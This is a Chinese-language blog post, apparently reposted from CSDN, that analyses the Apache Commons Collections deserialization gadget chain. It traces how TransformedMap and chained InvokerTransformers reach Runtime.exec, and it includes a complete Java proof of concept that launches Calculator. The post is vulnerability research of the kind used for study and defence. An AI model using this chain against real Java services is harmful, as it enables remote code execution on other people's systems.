理解Apache Commons Collections反序列化原理

Apache Commons Collections反序列化原理

redrain大佬的这篇文章写这个原理写的非常详细:
Lib之过?Java反序列化漏洞通用利用分析

涉及到两个大类:

  • Map-> TransformedMap
  • Transformer-> InvokerTransformer,ConstantTransformer,ChainedTransformer

Apache Commons Collections背景知识(任意代码执行的原理)

根据官方说明:

Commons-Collections seek to build upon the JDK classes by providing new interfaces, implementations and utilities.

Commons-Collections旨在给JDK中自带的Collection类提供新的接口、实现以及功能。
参考:https://commons.apache.org/proper/commons-collections/

这个Map不一般:TransformedMap

全限定名是:org.apache.commons.collections.map.TransformedMap

先从JDK自带的Map说起。Map(JDK自带java.util.Map接口,其中java.util.HashMap是其常见实现类)是存储键值对的数据结构。然后相应地,Apache Commons Collections实现了TransformedMap(字面意思“经过转换后的Map”。具体来说是通过decorate方法。)

这个类实现了Map(通过继承间接实现)和Serializable。
在这里插入图片描述

转换Map的关键接口:Transformer

全限定名:org.apache.commons.collections.Transformer

看一下Transformer这个接口源代码里的注释:
在这里插入图片描述
它只需要被实现一个接口:

public Object transform(Object input);

接收一个对象input,然后通过transform方法将其转换成另外一个对象,然后返回,之前的对象保持不变。

特殊的InvokerTransformer

全限定名:org.apache.commons.collections.functors.InvokerTransformer
Apache Commons Collections中有一些已经实现的Transformer类,其中有一个比较特殊的,叫做InvokerTransformer,它的特殊在于可以 执行传参中指定的任意类的任意方法!

public class InvokerTransformer implements Transformer, Serializable {
...

    /**
     * Constructor that performs no validation.
     * Use <code>getInstance</code> if you want that.
     * 
     * @param methodName  the method to call
     * @param paramTypes  the constructor parameter types, not cloned
     * @param args  the constructor arguments, not cloned
     */
    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        super();
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }

    /**
     * Transforms the input to result by invoking a method on the input.
     * 
     * @param input  the input object to transform
     * @return the transformed result, null if null input
     */
    public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);
                
        } catch (NoSuchMethodException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
        }
    }
}

在这里插入图片描述

前面做了大量准备,就是在等这一步漏洞触发。跟进这最后一步调试看看。
看一下这个poc里如何最后一步通过Map.Entry#setValue,调用transform方法的:

        //触发漏洞
        Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
        onlyElement.setValue("foobar");

->
org/apache/commons/collections/map/AbstractInputCheckedMapDecorator#setValue
在这里插入图片描述
->

org/apache/commons/collections/map/TransformedMap#checkSetValue
在这里插入图片描述
->
org/apache/commons/collections/functors/ChainedTransformer#transform
对之前传入的每个Transformer都调用transform方法:
在这里插入图片描述
一个一个看,ConstantTransformer直接返回Runtime类:
在这里插入图片描述
注意到这个ChainTransformer比较特殊,其成员Transformer转换完之后返回的Object会交给下一个Transformer继续转换:
比如最开始是从ConstantTransformer返回的Runtime类对象,
在这里插入图片描述
进入org/apache/commons/collections/functors/InvokerTransformer#transform
看看,
在这里插入图片描述

经过第一个InvokerTransformer转换完成之后得到的Object是java.lang.Runtime.getRuntime()这个Method对象。
在这里插入图片描述
第二个InvokerTransformer调用这个对象的invoke方法,得到一个java.lang.Runtime对象。
在这里插入图片描述
最后一步演示:
在这里插入图片描述

总结

1、ConstantTransformer:
=> Runtime class对象;
2、第一个InvokerTransformer:
Runtime class对象(调用getMethod)
=> java.lang.Runtime.getRuntime()这个Method对象
3、第二个InvokerTransformer:
java.lang.Runtime.getRuntime()这个Method对象(调用invoke)
=> java.lang.Runtime对象
4、第三个InvokerTransformer:
java.lang.Runtime对象(调用exec,传入参数Calculator)
=> 实现命令执行

阅读ysoserial源码,发现主要是CommonsCollections1这个payload的代码:
https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java
在这里插入图片描述

漏洞调试

在IDEA里新建一个项目,把commons-collections作为lib加进去,直接调试。

PoC

来自redrain博客。

package com.cqq;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class Main {

    public static void main(String[] args) {
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
        };

        //将transformers数组存入ChaniedTransformer这个继承类
        Transformer transformerChain = new ChainedTransformer(transformers);

        //创建Map并绑定transformerChain
        Map innerMap = new HashMap();
        innerMap.put("value", "value");
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

        //触发漏洞
        Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
        onlyElement.setValue("foobar");
    }
}

注意,由于我们只需要对value进行操作,所以这里:

Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

在本该传key transformer的地方只传了null,因为我们没有对key进行转换。

看了一下Jenkins的lib,果然有commons-collection3这个包:
在这里插入图片描述

参考

发布了592 篇原创文章 · 获赞 97 · 访问量 97万+

猜你喜欢

转载自blog.csdn.net/caiqiiqi/article/details/104393802